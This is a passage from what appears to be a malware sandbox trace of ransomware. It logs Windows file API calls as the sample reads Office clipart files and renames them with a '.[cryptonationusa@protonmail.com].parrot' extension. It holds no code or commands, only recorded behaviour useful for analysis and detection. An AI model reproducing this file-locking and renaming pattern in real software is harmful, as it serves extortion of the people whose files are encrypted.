lpNumberOfBytesRead=0x18eed4*=0xaa9a, lpOverlapped=0x0) returned 1 [0136.477] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.478] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xabb2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.478] CloseHandle (hObject=0x288) returned 1 [0136.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.481] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x108ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.481] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.481] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.483] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.483] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x107d4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x107d4, lpOverlapped=0x0) returned 1 [0136.488] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.489] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x108ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.489] CloseHandle (hObject=0x288) returned 1 [0136.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.492] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9675, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.492] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.492] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.494] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.495] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x955d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x955d, lpOverlapped=0x0) returned 1 [0136.498] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.499] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9675, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.499] CloseHandle (hObject=0x288) returned 1 [0136.499] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.503] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c19, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.503] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.503] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.552] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.552] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b01, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6b01, lpOverlapped=0x0) returned 1 [0136.554] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.556] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c19, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.556] CloseHandle (hObject=0x288) returned 1 [0136.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.562] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfe3a, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.562] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.562] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.563] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.563] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfd22, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfd22, lpOverlapped=0x0) returned 1 [0136.566] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.567] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfe3a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.567] CloseHandle (hObject=0x288) returned 1 [0136.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.570] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb65c, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.570] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.571] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.572] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.572] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb544, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb544, lpOverlapped=0x0) returned 1 [0136.576] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.577] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb65c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.577] CloseHandle (hObject=0x288) returned 1 [0136.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.580] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2246, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.581] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.581] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.582] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x212e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x212e, lpOverlapped=0x0) returned 1 [0136.583] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.585] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2246, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.585] CloseHandle (hObject=0x288) returned 1 [0136.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.629] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x121c, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.629] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.629] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.631] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.631] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1104, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1104, lpOverlapped=0x0) returned 1 [0136.632] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.632] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x121c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.632] CloseHandle (hObject=0x288) returned 1 [0136.633] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.636] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d80, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.636] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.636] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.638] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.638] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3c68, lpOverlapped=0x0) returned 1 [0136.639] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.640] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3d80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.640] CloseHandle (hObject=0x288) returned 1 [0136.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.644] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x495c, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.644] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.644] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.646] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.646] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4844, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4844, lpOverlapped=0x0) returned 1 [0136.647] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.648] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x495c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.648] CloseHandle (hObject=0x288) returned 1 [0136.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.652] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a40, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.652] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.652] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.654] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.654] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3928, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3928, lpOverlapped=0x0) returned 1 [0136.655] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.655] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.655] CloseHandle (hObject=0x288) returned 1 [0136.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.659] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b78, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.659] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.661] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.661] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a60, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a60, lpOverlapped=0x0) returned 1 [0136.662] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.662] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b78, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.662] CloseHandle (hObject=0x288) returned 1 [0136.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.666] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2aa0, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.666] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.683] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.683] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2988, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2988, lpOverlapped=0x0) returned 1 [0136.685] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.685] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2aa0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.685] CloseHandle (hObject=0x288) returned 1 [0136.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.691] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x34ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.691] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.691] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.693] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.693] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3394, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3394, lpOverlapped=0x0) returned 1 [0136.694] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.695] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x34ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.695] CloseHandle (hObject=0x288) returned 1 [0136.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0136.698] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3530, nNumberOfBytesToLockHigh=0x0) returned 1 [0136.698] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0136.698] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0136.701] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.701] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3418, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3418, lpOverlapped=0x0) returned 1 [0136.702] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.703] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3530, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0136.703] CloseHandle (hObject=0x288) returned 1 [0136.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 